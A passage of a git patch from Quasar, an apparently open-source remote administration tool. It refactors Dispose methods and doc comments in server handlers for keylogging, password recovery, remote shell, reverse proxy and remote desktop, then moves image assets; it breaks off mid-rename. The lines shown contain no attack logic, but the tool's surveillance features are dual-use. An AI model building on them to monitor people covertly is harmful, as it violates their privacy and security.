a/Quasar.Server/Messages/FileManagerHandler.cs b/Quasar.Server/Messages/FileManagerHandler.cs index ede5e3aeb..e2c82c064 100644 --- a/Quasar.Server/Messages/FileManagerHandler.cs +++ b/Quasar.Server/Messages/FileManagerHandler.cs @@ -14,7 +14,10 @@ namespace Quasar.Server.Messages { - public class FileManagerHandler : MessageProcessorBase + /// + /// Handles messages for the interaction with remote files and directories. + /// + public class FileManagerHandler : MessageProcessorBase, IDisposable { /// /// Represents the method that will handle drive changes. @@ -540,7 +543,16 @@ private int GetUniqueFileTransferId() return id; } - protected override void Dispose(bool disposing) + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) { if (disposing) { @@ -559,7 +571,6 @@ protected override void Dispose(bool disposing) MessageHandler.Unregister(_taskManagerHandler); _taskManagerHandler.ProcessActionPerformed -= ProcessActionPerformed; - _taskManagerHandler.Dispose(); } } } diff --git a/Quasar.Server/Messages/KeyloggerHandler.cs b/Quasar.Server/Messages/KeyloggerHandler.cs index bfe68c81c..a587364c2 100644 --- a/Quasar.Server/Messages/KeyloggerHandler.cs +++ b/Quasar.Server/Messages/KeyloggerHandler.cs @@ -9,7 +9,10 @@ namespace Quasar.Server.Messages { - public class KeyloggerHandler : MessageProcessorBase + /// + /// Handles messages for the interaction with the remote keylogger. + /// + public class KeyloggerHandler : MessageProcessorBase, IDisposable { /// /// The client which is associated with this keylogger handler. @@ -131,7 +134,16 @@ private void FileTransferUpdated(object sender, FileTransfer transfer) } } - protected override void Dispose(bool disposing) + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) { if (disposing) { diff --git a/Quasar.Server/Messages/PasswordRecoveryHandler.cs b/Quasar.Server/Messages/PasswordRecoveryHandler.cs index 48928c5d9..770bb7db0 100644 --- a/Quasar.Server/Messages/PasswordRecoveryHandler.cs +++ b/Quasar.Server/Messages/PasswordRecoveryHandler.cs @@ -1,12 +1,15 @@ -using System.Collections.Generic; -using System.Linq; -using Quasar.Common.Messages; +using Quasar.Common.Messages; using Quasar.Common.Models; using Quasar.Common.Networking; using Quasar.Server.Networking; +using System.Collections.Generic; +using System.Linq; namespace Quasar.Server.Messages { + /// + /// Handles messages for the interaction with the remote password recovery. + /// public class PasswordRecoveryHandler : MessageProcessorBase { /// @@ -89,9 +92,5 @@ private void Execute(ISender client, GetPasswordsResponse message) OnAccountsRecovered(message.RecoveredAccounts, userAtPc); } - - protected override void Dispose(bool disposing) - { - } } } diff --git a/Quasar.Server/Messages/RegistryHandler.cs b/Quasar.Server/Messages/RegistryHandler.cs index d2b64ec7c..157457c1c 100644 --- a/Quasar.Server/Messages/RegistryHandler.cs +++ b/Quasar.Server/Messages/RegistryHandler.cs @@ -6,6 +6,9 @@ namespace Quasar.Server.Messages { + /// + /// Handles messages for the interaction with the remote registry. + /// public class RegistryHandler : MessageProcessorBase { /// @@ -406,9 +409,5 @@ private void Execute(ISender client, GetChangeRegistryValueResponse message) OnReport(message.ErrorMsg); } } - - protected override void Dispose(bool disposing) - { - } } } diff --git a/Quasar.Server/Messages/RemoteDesktopHandler.cs b/Quasar.Server/Messages/RemoteDesktopHandler.cs index a4f5d51a5..28e0b8dfb 100644 --- a/Quasar.Server/Messages/RemoteDesktopHandler.cs +++ b/Quasar.Server/Messages/RemoteDesktopHandler.cs @@ -1,14 +1,18 @@ -using System.Drawing; -using System.IO; -using Quasar.Common.Enums; +using Quasar.Common.Enums; using Quasar.Common.Messages; using Quasar.Common.Networking; using Quasar.Common.Video.Codecs; using Quasar.Server.Networking; +using System; +using System.Drawing; +using System.IO; namespace Quasar.Server.Messages { - public class RemoteDesktopHandler : MessageProcessorBase + /// + /// Handles messages for the interaction with the remote desktop. + /// + public class RemoteDesktopHandler : MessageProcessorBase, IDisposable { /// /// States if the client is currently streaming desktop frames. @@ -221,7 +225,16 @@ private void Execute(ISender client, GetMonitorsResponse message) OnDisplaysChanged(message.Number); } - protected override void Dispose(bool disposing) + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) { if (disposing) { diff --git a/Quasar.Server/Messages/RemoteShellHandler.cs b/Quasar.Server/Messages/RemoteShellHandler.cs index 36796b828..eae41dcaf 100644 --- a/Quasar.Server/Messages/RemoteShellHandler.cs +++ b/Quasar.Server/Messages/RemoteShellHandler.cs @@ -4,6 +4,9 @@ namespace Quasar.Server.Messages { + /// + /// Handles messages for the interaction with the remote shell. + /// public class RemoteShellHandler : MessageProcessorBase { /// @@ -82,16 +85,5 @@ private void Execute(ISender client, DoShellExecuteResponse message) else OnReport(message.Output); } - - protected override void Dispose(bool disposing) - { - if (disposing) - { - if (_client.Connected) - { - SendCommand("exit"); - } - } - } } } diff --git a/Quasar.Server/Messages/ReverseProxyHandler.cs b/Quasar.Server/Messages/ReverseProxyHandler.cs index ef5b8b598..99f64e424 100644 --- a/Quasar.Server/Messages/ReverseProxyHandler.cs +++ b/Quasar.Server/Messages/ReverseProxyHandler.cs @@ -3,10 +3,14 @@ using Quasar.Common.Networking; using Quasar.Server.Networking; using Quasar.Server.ReverseProxy; +using System; using System.Linq; namespace Quasar.Server.Messages { + /// + /// Handles messages for the interaction with the remote reverse proxy. + /// public class ReverseProxyHandler : MessageProcessorBase { /// @@ -103,7 +107,16 @@ void socksServer_onConnectionEstablished(ReverseProxyClient proxyClient) OnReport(_socksServer.OpenConnections); } - protected override void Dispose(bool disposing) + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) { if (disposing) { diff --git a/Quasar.Server/Messages/StartupManagerHandler.cs b/Quasar.Server/Messages/StartupManagerHandler.cs index 4511763e3..6aa4c98ca 100644 --- a/Quasar.Server/Messages/StartupManagerHandler.cs +++ b/Quasar.Server/Messages/StartupManagerHandler.cs @@ -1,11 +1,14 @@ -using System.Collections.Generic; -using Quasar.Common.Messages; +using Quasar.Common.Messages; using Quasar.Common.Models; using Quasar.Common.Networking; using Quasar.Server.Networking; +using System.Collections.Generic; namespace Quasar.Server.Messages { + /// + /// Handles messages for the interaction with remote startup tasks. + /// public class StartupManagerHandler : MessageProcessorBase> { /// @@ -69,9 +72,5 @@ private void Execute(ISender client, GetStartupItemsResponse message) { OnReport(message.StartupItems); } - - protected override void Dispose(bool disposing) - { - } } } diff --git a/Quasar.Server/Messages/SystemInformationHandler.cs b/Quasar.Server/Messages/SystemInformationHandler.cs index 16f794122..42d8adbc3 100644 --- a/Quasar.Server/Messages/SystemInformationHandler.cs +++ b/Quasar.Server/Messages/SystemInformationHandler.cs @@ -1,11 +1,14 @@ -using System; -using System.Collections.Generic; -using Quasar.Common.Messages; +using Quasar.Common.Messages; using Quasar.Common.Networking; using Quasar.Server.Networking; +using System; +using System.Collections.Generic; namespace Quasar.Server.Messages { + /// + /// Handles messages for the interaction with the remote system information. + /// public class SystemInformationHandler : MessageProcessorBase>> { /// @@ -66,9 +69,5 @@ private void Execute(ISender client, GetSystemInfoResponse message) // FrmMain.Instance.SetToolTipText(client, builder.ToString()); //} } - - protected override void Dispose(bool disposing) - { - } } } diff --git a/Quasar.Server/Messages/TaskManagerHandler.cs b/Quasar.Server/Messages/TaskManagerHandler.cs index d03d9de0b..478dfd980 100644 --- a/Quasar.Server/Messages/TaskManagerHandler.cs +++ b/Quasar.Server/Messages/TaskManagerHandler.cs @@ -6,6 +6,9 @@ namespace Quasar.Server.Messages { + /// + /// Handles messages for the interaction with remote tasks. + /// public class TaskManagerHandler : MessageProcessorBase { /// @@ -117,10 +120,5 @@ private void Execute(ISender client, GetProcessesResponse message) { OnReport(message.Processes); } - - protected override void Dispose(bool disposing) - { - - } } } diff --git a/Quasar.Server/Messages/TcpConnectionsHandler.cs b/Quasar.Server/Messages/TcpConnectionsHandler.cs index cfd72600b..3a3ece2f3 100644 --- a/Quasar.Server/Messages/TcpConnectionsHandler.cs +++ b/Quasar.Server/Messages/TcpConnectionsHandler.cs @@ -5,6 +5,9 @@ namespace Quasar.Server.Messages { + /// + /// Handles messages for the interaction with remote TCP connections. + /// public class TcpConnectionsHandler : MessageProcessorBase { /// @@ -69,9 +72,5 @@ private void Execute(ISender client, GetConnectionsResponse message) { OnReport(message.Connections); } - - protected override void Dispose(bool disposing) - { - } } } From 095777b3dc94d0f7ffc67183200077123057f2eb Mon Sep 17 00:00:00 2001 From: MaxXor Date: Thu, 28 May 2020 21:23:13 +0200 Subject: [PATCH 180/229] Update images directory --- Quasar.Server/{flags => Images/Flags}/ad.png | Bin Quasar.Server/{flags => Images/Flags}/ae.png | Bin Quasar.Server/{flags => Images/Flags}/af.png | Bin Quasar.Server/{flags => Images/Flags}/ag.png | Bin Quasar.Server/{flags => Images/Flags}/ai.png | Bin Quasar.Server/{flags => Images/Flags}/al.png | Bin Quasar.Server/{flags => Images/Flags}/am.png | Bin Quasar.Server/{flags => Images/Flags}/an.png | Bin Quasar.Server/{flags => Images/Flags}/ao.png | Bin Quasar.Server/{flags => Images/Flags}/ar.png | Bin Quasar.Server/{flags => Images/Flags}/as.png | Bin Quasar.Server/{flags => Images/Flags}/at.png | Bin Quasar.Server/{flags => Images/Flags}/au.png | Bin Quasar.Server/{flags => Images/Flags}/aw.png | Bin Quasar.Server/{flags => Images/Flags}/ax.png | Bin Quasar.Server/{flags => Images/Flags}/az.png | Bin Quasar.Server/{flags => Images/Flags}/ba.png | Bin Quasar.Server/{flags => Images/Flags}/bb.png | Bin Quasar.Server/{flags => Images/Flags}/bd.png | Bin Quasar.Server/{flags => Images/Flags}/be.png | Bin Quasar.Server/{flags => Images/Flags}/bf.png | Bin Quasar.Server/{flags => Images/Flags}/bg.png | Bin Quasar.Server/{flags => Images/Flags}/bh.png | Bin Quasar.Server/{flags => Images/Flags}/bi.png | Bin Quasar.Server/{flags => Images/Flags}/bj.png | Bin Quasar.Server/{flags => Images/Flags}/bm.png | Bin Quasar.Server/{flags => Images/Flags}/bn.png | Bin Quasar.Server/{flags => Images/Flags}/bo.png | Bin Quasar.Server/{flags => Images/Flags}/br.png | Bin Quasar.Server/{flags => Images/Flags}/bs.png | Bin Quasar.Server/{flags => Images/Flags}/bt.png | Bin Quasar.Server/{flags => Images/Flags}/bv.png | Bin Quasar.Server/{flags => Images/Flags}/bw.png | Bin Quasar.Server/{flags => Images/Flags}/by.png | Bin Quasar.Server/{flags => Images/Flags}/bz.png | Bin Quasar.Server/{flags => Images/Flags}/ca.png | Bin .../{flags => Images/Flags}/catalonia.png | Bin Quasar.Server/{flags => Images/Flags}/cc.png | Bin Quasar.Server/{flags => Images/Flags}/cd.png | Bin Quasar.Server/{flags => Images/Flags}/cf.png | Bin Quasar.Server/{flags => Images/Flags}/cg.png | Bin Quasar.Server/{flags => Images/Flags}/ch.png | Bin Quasar.Server/{flags => Images/Flags}/ci.png | Bin Quasar.Server/{flags => Images/Flags}/ck.png | Bin Quasar.Server/{flags => Images/Flags}/cl.png | Bin Quasar.Server/{flags => Images/Flags}/cm.png | Bin Quasar.Server/{flags => Images/Flags}/cn.png | Bin Quasar.Server/{flags => Images/Flags}/co.png | Bin Quasar.Server/{flags => Images/Flags}/cr.png | Bin Quasar.Server/{flags => Images/Flags}/cs.png | Bin Quasar.Server/{flags => Images/Flags}/cu.png | Bin Quasar.Server/{flags => Images/Flags}/cv.png | Bin Quasar.Server/{flags => Images/Flags}/cx.png | Bin Quasar.Server/{flags => Images/Flags}/cy.png | Bin Quasar.Server/{flags => Images/Flags}/cz.png | Bin Quasar.Server/{flags => Images/Flags}/de.png | Bin Quasar.Server/{flags => Images/Flags}/dj.png | Bin Quasar.Server/{flags => Images/Flags}/dk.png | Bin Quasar.Server/{flags => Images/Flags}/dm.png | Bin Quasar.Server/{flags => Images/Flags}/do.png | Bin Quasar.Server/{flags => Images/Flags}/dz.png | Bin Quasar.Server/{flags => Images/Flags}/ec.png | Bin Quasar.Server/{flags => Images/Flags}/ee.png | Bin Quasar.Server/{flags => Images/Flags}/eg.png | Bin Quasar.Server/{flags => Images/Flags}/eh.png | Bin .../{flags => Images/Flags}/england.png | Bin Quasar.Server/{flags => Images/Flags}/er.png | Bin Quasar.Server/{flags => Images/Flags}/es.png | Bin Quasar.Server/{flags => Images/Flags}/et.png | Bin .../{flags => Images/Flags}/europeanunion.png | Bin Quasar.Server/{flags => Images/Flags}/fam.png | Bin Quasar.Server/{flags => Images/Flags}/fi.png | Bin Quasar.Server/{flags => Images/Flags}/fj.png | Bin Quasar.Server/{flags => Images/Flags}/fk.png | Bin Quasar.Server/{flags => Images/Flags}/fm.png | Bin Quasar.Server/{flags => Images/Flags}/fo.png | Bin Quasar.Server/{flags => Images/Flags}/fr.png | Bin Quasar.Server/{flags => Images/Flags}/ga.png | Bin Quasar.Server/{flags => Images/Flags}/gb.png | Bin Quasar.Server/{flags => Images/Flags}/gd.png | Bin Quasar.Server/{flags => Images/Flags}/ge.png | Bin Quasar.Server/{flags => Images/Flags}/gf.png | Bin Quasar.Server/{flags => Images/Flags}/gh.png | Bin Quasar.Server/{flags => Images/Flags}/gi.png | Bin Quasar.Server/{flags => Images/Flags}/gl.png | Bin Quasar.Server/{flags => Images/Flags}/gm.png | Bin Quasar.Server/{flags => Images/Flags}/gn.png | Bin Quasar.Server/{flags => Images/Flags}/gp.png | Bin Quasar.Server/{flags => Images/Flags}/gq.png | Bin Quasar.Server/{flags => Images/Flags}/gr.png | Bin Quasar.Server/{flags => Images/Flags}/gs.png | Bin Quasar.Server/{flags => Images/Flags}/gt.png | Bin Quasar.Server/{flags => Images/Flags}/gu.png | Bin Quasar.Server/{flags => Images/Flags}/gw.png | Bin Quasar.Server/{flags => Images/Flags}/gy.png | Bin Quasar.Server/{flags => Images/Flags}/hk.png | Bin Quasar.Server/{flags => Images/Flags}/hm.png | Bin Quasar.Server/{flags => Images/Flags}/hn.png | Bin Quasar.Server/{flags => Images/Flags}/hr.png | Bin Quasar.Server/{flags => Images/Flags}/ht.png | Bin Quasar.Server/{flags => Images/Flags}/hu.png | Bin Quasar.Server/{flags => Images/Flags}/id.png | Bin Quasar.Server/{flags => Images/Flags}/ie.png | Bin Quasar.Server/{flags => Images/Flags}/il.png | Bin Quasar.Server/{flags => Images/Flags}/in.png | Bin Quasar.Server/{flags => Images/Flags}/io.png | Bin Quasar.Server/{flags => Images/Flags}/iq.png | Bin Quasar.Server/{flags => Images/Flags}/ir.png | Bin Quasar.Server/{flags => Images/Flags}/is.png | Bin Quasar.Server/{flags => Images/Flags}/it.png | Bin Quasar.Server/{flags => Images/Flags}/jm.png | Bin Quasar.Server/{flags => Images/Flags}/jo.png | Bin Quasar.Server/{flags => Images/Flags}/jp.png | Bin Quasar.Server/{flags => Images/Flags}/ke.png | Bin Quasar.Server/{flags => Images/Flags}/kg.png | Bin Quasar.Server/{flags => Images/Flags}/kh.png | Bin Quasar.Server/{flags => Images/Flags}/ki.png | Bin Quasar.Server/{flags => Images/Flags}/km.png | Bin Quasar.Server/{flags => Images/Flags}/kn.png | Bin Quasar.Server/{flags => Images/Flags}/kp.png | Bin Quasar.Server/{flags => Images/Flags}/kr.png | Bin Quasar.Server/{flags => Images/Flags}/kw.png | Bin Quasar.Server/{flags => Images/Flags}/ky.png | Bin Quasar.Server/{flags => Images/Flags}/kz.png | Bin Quasar.Server/{flags => Images/Flags}/la.png | Bin Quasar.Server/{flags => Images/Flags}/lb.png | Bin Quasar.Server/{flags => Images/Flags}/lc.png | Bin Quasar.Server/{flags => Images/Flags}/li.png | Bin Quasar.Server/{flags => Images/Flags}/lk.png | Bin Quasar.Server/{flags => Images/Flags}/lr.png | Bin Quasar.Server/{flags => Images/Flags}/ls.png | Bin Quasar.Server/{flags => Images/Flags}/lt.png | Bin Quasar.Server/{flags => Images/Flags}/lu.png | Bin Quasar.Server/{flags => Images/Flags}/lv.png | Bin Quasar.Server/{flags => Images/Flags}/ly.png | Bin Quasar.Server/{flags => Images/Flags}/ma.png | Bin Quasar.Server/{flags => Images/Flags}/mc.png | Bin Quasar.Server/{flags => Images/Flags}/md.png | Bin Quasar.Server/{flags => Images/Flags}/me.png | Bin Quasar.Server/{flags => Images/Flags}/mg.png | Bin Quasar.Server/{flags => Images/Flags}/mh.png | Bin Quasar.Server/{flags => Images/Flags}/mk.png | Bin Quasar.Server/{flags => Images/Flags}/ml.png | Bin Quasar.Server/{flags => Images/Flags}/mm.png | Bin Quasar.Server/{flags => Images/Flags}/mn.png | Bin Quasar.Server/{flags => Images/Flags}/mo.png | Bin Quasar.Server/{flags => Images/Flags}/mp.png | Bin Quasar.Server/{flags => Images/Flags}/mq.png | Bin Quasar.Server/{flags => Images/Flags}/mr.png | Bin Quasar.Server/{flags => Images/Flags}/ms.png | Bin Quasar.Server/{flags => Images/Flags}/mt.png | Bin Quasar.Server/{flags => Images/Flags}/mu.png | Bin Quasar.Server/{flags => Images/Flags}/mv.png | Bin Quasar.Server/{flags => Images/Flags}/mw.png | Bin Quasar.Server/{flags => Images/Flags}/mx.png | Bin Quasar.Server/{flags => Images/Flags}/my.png | Bin Quasar.Server/{flags => Images/Flags}/mz.png | Bin Quasar.Server/{flags => Images/Flags}/na.png | Bin Quasar.Server/{flags => Images/Flags}/nc.png | Bin Quasar.Server/{flags => Images/Flags}/ne.png | Bin Quasar.Server/{flags => Images/Flags}/nf.png | Bin Quasar.Server/{flags => Images/Flags}/ng.png | Bin Quasar.Server/{flags => Images/Flags}/ni.png | Bin Quasar.Server/{flags => Images/Flags}/nl.png | Bin Quasar.Server/{flags => Images/Flags}/no.png | Bin Quasar.Server/{flags => Images/Flags}/np.png | Bin Quasar.Server/{flags => Images/Flags}/nr.png | Bin Quasar.Server/{flags => Images/Flags}/nu.png | Bin Quasar.Server/{flags => Images/Flags}/nz.png | Bin Quasar.Server/{flags => Images/Flags}/om.png | Bin Quasar.Server/{flags => Images/Flags}/pa.png | Bin Quasar.Server/{flags => Images/Flags}/pe.png | Bin Quasar.Server/{flags => Images/Flags}/pf.png | Bin Quasar.Server/{flags => Images/Flags}/pg.png | Bin Quasar.Server/{flags => Images/Flags}/ph.png | Bin Quasar.Server/{flags => Images/Flags}/pk.png | Bin Quasar.Server/{flags => Images/Flags}/pl.png | Bin Quasar.Server/{flags => Images/Flags}/pm.png | Bin Quasar.Server/{flags => Images/Flags}/pn.png | Bin Quasar.Server/{flags => Images/Flags}/pr.png | Bin Quasar.Server/{flags => Images/Flags}/ps.png | Bin Quasar.Server/{flags => Images/Flags}/pt.png | Bin Quasar.Server/{flags => Images/Flags}/pw.png | Bin Quasar.Server/{flags => Images/Flags}/py.png | Bin Quasar.Server/{flags => Images/Flags}/qa.png | Bin Quasar.Server/{flags => Images/Flags}/re.png | Bin Quasar.Server/{flags => Images/Flags}/ro.png | Bin Quasar.Server/{flags => Images/Flags}/rs.png | Bin Quasar.Server/{flags => Images/Flags}/ru.png | Bin Quasar.Server/{flags => Images/Flags}/rw.png | Bin Quasar.Server/{flags => Images/Flags}/sa.png | Bin Quasar.Server/{flags => Images/Flags}/sb.png | Bin Quasar.Server/{flags => Images/Flags}/sc.png | Bin .../{flags => Images/Flags}/scotland.png | Bin Quasar.Server/{flags => Images/Flags}/sd.png | Bin Quasar.Server/{flags => Images/Flags}/se.png | Bin Quasar.Server/{flags => Images/Flags}/sg.png | Bin Quasar.Server/{flags => Images/Flags}/sh.png | Bin Quasar.Server/{flags => Images/Flags}/si.png | Bin Quasar.Server/{flags => Images/Flags}/sj.png | Bin Quasar.Server/{flags => Images/Flags}/sk.png | Bin Quasar.Server/{flags => Images/Flags}/sl.png | Bin Quasar.Server/{flags => Images/Flags}/sm.png | Bin Quasar.Server/{flags => Images/Flags}/sn.png | Bin Quasar.Server/{flags => Images/Flags}/so.png | Bin Quasar.Server/{flags => Images/Flags}/sr.png | Bin Quasar.Server/{flags => Images/Flags}/st.png | Bin Quasar.Server/{flags => Images/Flags}/sv.png | Bin Quasar.Server/{flags => Images/Flags}/sy.png | Bin Quasar.Server/{flags => Images/Flags}/sz.png | Bin Quasar.Server/{flags => Images/Flags}/tc.png | Bin Quasar.Server/{flags => Images/Flags}/td.png | Bin Quasar.Server/{flags => Images/Flags}/tf.png | Bin Quasar.Server/{flags => Images/Flags}/tg.png | Bin Quasar.Server/{flags => Images/Flags}/th.png | Bin Quasar.Server/{flags => Images/Flags}/tj.png | Bin Quasar.Server/{flags => Images/Flags}/tk.png | Bin Quasar.Server/{flags => Images/Flags}/tl.png | Bin Quasar.Server/{flags => Images/Flags}/tm.png | Bin Quasar.Server/{flags => Images/Flags}/tn.png | Bin Quasar.Server/{flags => Images/Flags}/to.png | Bin Quasar.Server/{flags => Images/Flags}/tr.png | Bin Quasar.Server/{flags => Images/Flags}/tt.png | Bin Quasar.Server/{flags => Images/Flags}/tv.png | Bin Quasar.Server/{flags => Images/Flags}/tw.png | Bin Quasar.Server/{flags => Images/Flags}/tz.png | Bin Quasar.Server/{flags => Images/Flags}/ua.png | Bin Quasar.Server/{flags => Images/Flags}/ug.png | Bin Quasar.Server/{flags => Images/Flags}/um.png | Bin Quasar.Server/{flags => Images/Flags}/us.png | Bin Quasar.Server/{flags => Images/Flags}/uy.png | Bin Quasar.Server/{flags => Images/Flags}/uz.png | Bin Quasar.Server/{flags => Images/Flags}/va.png | Bin Quasar.Server/{flags => Images/Flags}/vc.png | Bin Quasar.Server/{flags => Images/Flags}/ve.png | Bin Quasar.Server/{flags => Images/Flags}/vg.png | Bin Quasar.Server/{flags => Images/Flags}/vi.png | Bin Quasar.Server/{flags => Images/Flags}/vn.png | Bin Quasar.Server/{flags => Images/Flags}/vu.png | Bin .../{flags => Images/Flags}/wales.png | Bin Quasar.Server/{flags => Images/Flags}/wf.png | Bin Quasar.Server/{flags => Images/Flags}/ws.png | Bin Quasar.Server/{flags => Images/Flags}/xy.png | Bin Quasar.Server/{flags => Images/Flags}/ye.png | Bin Quasar.Server/{flags => Images/Flags}/yt.png | Bin Quasar.Server/{flags => Images/Flags}/za.png | Bin Quasar.Server/{flags => Images/Flags}/zm.png | Bin Quasar.Server/{flags => Images/Flags}/zw.png | Bin .../{icons => Images/Icons}/Quasar_Server.ico | Bin .../{icons => Images/Icons}/Quasar_Server.png | Bin Quasar.Server/Images/actions.png | Bin 0 -> 536 bytes Quasar.Server/Images/application.png | Bin 0 -> 367 bytes Quasar.Server/Images/application_add.png | Bin 0 -> 619 bytes Quasar.Server/Images/application_cascade.png | Bin 0 -> 524 bytes Quasar.Server/Images/application_delete.png | Bin 0 -> 610 bytes Quasar.Server/Images/application_edit.png | Bin 0 -> 703 bytes Quasar.Server/Images/application_go.png | Bin 0 -> 634 bytes Quasar.Server/Images/archive.png | Bin 0 -> 644 bytes Quasar.Server/Images/arrow_down.png | Bin 0 -> 379 bytes Quasar.Server/Images/arrow_up.png | Bin 0 -> 372 bytes Quasar.Server/Images/back.png | Bin 0 -> 371 bytes Quasar.Server/Images/bricks.png | Bin 0 -> 825 bytes Quasar.Server/Images/broom.png | Bin 0 -> 784 bytes Quasar.Server/Images/cancel.png | Bin 0 -> 587 bytes Quasar.Server/Images/cog.png | Bin 0 -> 512 bytes Quasar.Server/Images/computer.png | Bin 0 -> 667 bytes Quasar.Server/Images/delete.png | Bin 0 -> 715 bytes Quasar.Server/Images/done.png | Bin 0 -> 537 bytes Quasar.Server/Images/drive_go.png | Bin 0 -> 661 bytes Quasar.Server/Images/eye.png | Bin 0 -> 750 bytes Quasar.Server/Images/file.png | Bin 0 -> 510 bytes Quasar.Server/Images/folder.png | Bin 0 -> 537 bytes Quasar.Server/Images/image.png | Bin 0 -> 700 bytes Quasar.Server/Images/information.png | Bin 0 -> 778 bytes Quasar.Server/Images/key_go.png | Bin 0 -> 744 bytes Quasar.Server/Images/keyboard_add.png | Bin 0 -> 683 bytes Quasar.Server/Images/keyboard_delete.png | Bin 0 -> 681 bytes Quasar.Server/Images/keyboard_magnify.png | Bin 0 -> 651 bytes Quasar.Server/Images/lightning.png | Bin 0 -> 634 bytes Quasar.Server/Images/monitor.png | Bin 0 -> 612 bytes Quasar.Server/Images/monitoring.png | Bin 0 -> 952 bytes Quasar.Server/Images/mouse_add.png | Bin 0 -> 729 bytes Quasar.Server/Images/mouse_delete.png | Bin 0 -> 741 bytes Quasar.Server/Images/movie.png | Bin 0 -> 661 bytes Quasar.Server/Images/music.png | Bin 0 -> 711 bytes Quasar.Server/Images/page_copy.png | Bin 0 -> 663 bytes Quasar.Server/Images/pdf.png | Bin 0 -> 500 bytes Quasar.Server/Images/refresh.png | Bin 0 -> 685 bytes Quasar.Server/Images/reg_binary.png | Bin 0 -> 406 bytes Quasar.Server/Images/reg_string.png | Bin 0 -> 487 bytes Quasar.Server/Images/registry.png | Bin 0 -> 714 bytes Quasar.Server/Images/restart.png | Bin 0 -> 756 bytes Quasar.Server/Images/save.png | Bin 0 -> 410 bytes Quasar.Server/Images/server.png | Bin 0 -> 530 bytes Quasar.Server/Images/server_add.png | Bin 0 -> 676 bytes Quasar.Server/Images/server_delete.png | Bin 0 -> 668 bytes Quasar.Server/Images/server_disconnect.png | Bin 0 -> 755 bytes Quasar.Server/Images/server_go.png | Bin 0 -> 706 bytes Quasar.Server/Images/server_link.png | Bin 0 -> 706 bytes Quasar.Server/Images/shutdown.png | Bin 0 -> 660 bytes Quasar.Server/Images/standby.png | Bin 0 -> 621 bytes Quasar.Server/Images/terminal.png | Bin 0 -> 359 bytes Quasar.Server/Images/text.png | Bin 0 -> 592 bytes Quasar.Server/Images/textfield_rename.png | Bin 0 -> 273 bytes Quasar.Server/Images/transmit_blue.png | Bin 0 -> 814 bytes Quasar.Server/Images/uac_shield.png | Bin 0 -> 3556 bytes Quasar.Server/Images/user.png | Bin 0 -> 741 bytes Quasar.Server/Images/website.png | Bin 0 -> 903 bytes Quasar.Server/Images/word.png | Bin 0 -> 734 bytes Quasar.Server/Images/world_go.png | Bin 0 -> 944 bytes Quasar.Server/Images/world_link.png | Bin 0 -> 957 bytes Quasar.Server/Properties/Resources.resx | 92 +++++++++--------- Quasar.Server/Quasar.Server.csproj | 2 +- 313 files changed, 47 insertions(+), 47 deletions(-) rename Quasar.Server/{flags => Images/Flags}/ad.png (100%) rename Quasar.Server/{flags => Images/Flags}/ae.png (100%) rename Quasar.Server/{flags => Images/Flags}/af.png (100%) rename Quasar.Server/{flags => Images/Flags}/ag.png (100%) rename Quasar.Server/{flags => Images/Flags}/ai.png (100%) rename Quasar.Server/{flags => Images/Flags}/al.png (100%) rename Quasar.Server/{flags => Images/Flags}/am.png (100%) rename Quasar.Server/{flags => Images/Flags}/an.png (100%) rename Quasar.Server/{flags => Images/Flags}/ao.png (100%) rename Quasar.Server/{flags => Images/Flags}/ar.png (100%) rename Quasar.Server/{flags => Images/Flags}/as.png (100%) rename Quasar.Server/{flags => Images/Flags}/at.png (100%) rename Quasar.Server/{flags => Images/Flags}/au.png (100%) rename Quasar.Server/{flags => Images/Flags}/aw.png (100%) rename Quasar.Server/{flags => Images/Flags}/ax.png (100%) rename Quasar.Server/{flags => Images/Flags}/az.png (100%) rename Quasar.Server/{flags => Images/Flags}/ba.png (100%) rename Quasar.Server/{flags => Images/Flags}/bb.png (100%) rename Quasar.Server/{flags => Images/Flags}/bd.png (100%) rename Quasar.Server/{flags => Images/Flags}/be.png (100%) rename Quasar.Server/{flags => Images/Flags}/bf.png (100%) rename Quasar.Server/{flags => Images/Flags}/bg.png (100%) rename Quasar.Server/{flags => Images/Flags}/bh.png (100%) rename Quasar.Server/{flags => Images/Flags}/bi.png (100%) rename Quasar.Server/{flags => Images/Flags}/bj.png (100%) rename Quasar.Server/{flags => Images/Flags}/bm.png (100%) rename Quasar.Server/{flags => Images/Flags}/bn.png (100%) rename Quasar.Server/{flags => Images/Flags}/bo.png (100%) rename Quasar.Server/{flags => Images/Flags}/br.png (100%) rename Quasar.Server/{flags => Images/Flags}/bs.png (100%) rename Quasar.Server/{flags => Images/Flags}/bt.png (100%) rename Quasar.Server/{flags => Images/Flags}/bv.png (100%) rename Quasar.Server/{flags => Images/Flags}/bw.png (100%) rename Quasar.Server/{flags => Images/Flags}/by.png (100%) rename Quasar.Server/{flags => Images/Flags}/bz.png (100%) rename Quasar.Server/{flags => Images/Flags}/ca.png (100%) rename Quasar.Server/{flags => Images/Flags}/catalonia.png (100%) rename Quasar.Server/{flags => Images/Flags}/cc.png (100%) rename Quasar.Server/{flags => Images/Flags}/cd.png (100%) rename Quasar.Server/{flags => Images/Flags}/cf.png (100%) rename Quasar.Server/{flags => Images/Flags}/cg.png (100%) rename Quasar.Server/{flags => Images/Flags}/ch.png (100%) rename Quasar.Server/{flags => Images/Flags}/ci.png (100%) rename Quasar.Server/{flags => Images/Flags}/ck.png (100%) rename Quasar.Server/{flags => Images/Flags}/cl.png (100%) rename Quasar.Server/{flags => Images/Flags}/cm.png (100%) rename Quasar.Server/{flags => Images/Flags}/cn.png (100%) rename Quasar.Server/{flags => Images/Flags}/co.png (100%) rename Quasar.Server/{flags => Images/Flags}/cr.png (100%) rename Quasar.Server/{flags => Images/Flags}/cs.png (100%) rename Quasar.Server/{flags => Images/Flags}/cu.png (100%) rename Quasar.Server/{flags => Images/Flags}/cv.png (100%) rename Quasar.Server/{flags => Images/Flags}/cx.png (100%) rename Quasar.Server/{flags => Images/Flags}/cy.png (100%) rename Quasar.Server/{flags => Images/Flags}/cz.png (100%) rename Quasar.Server/{flags => 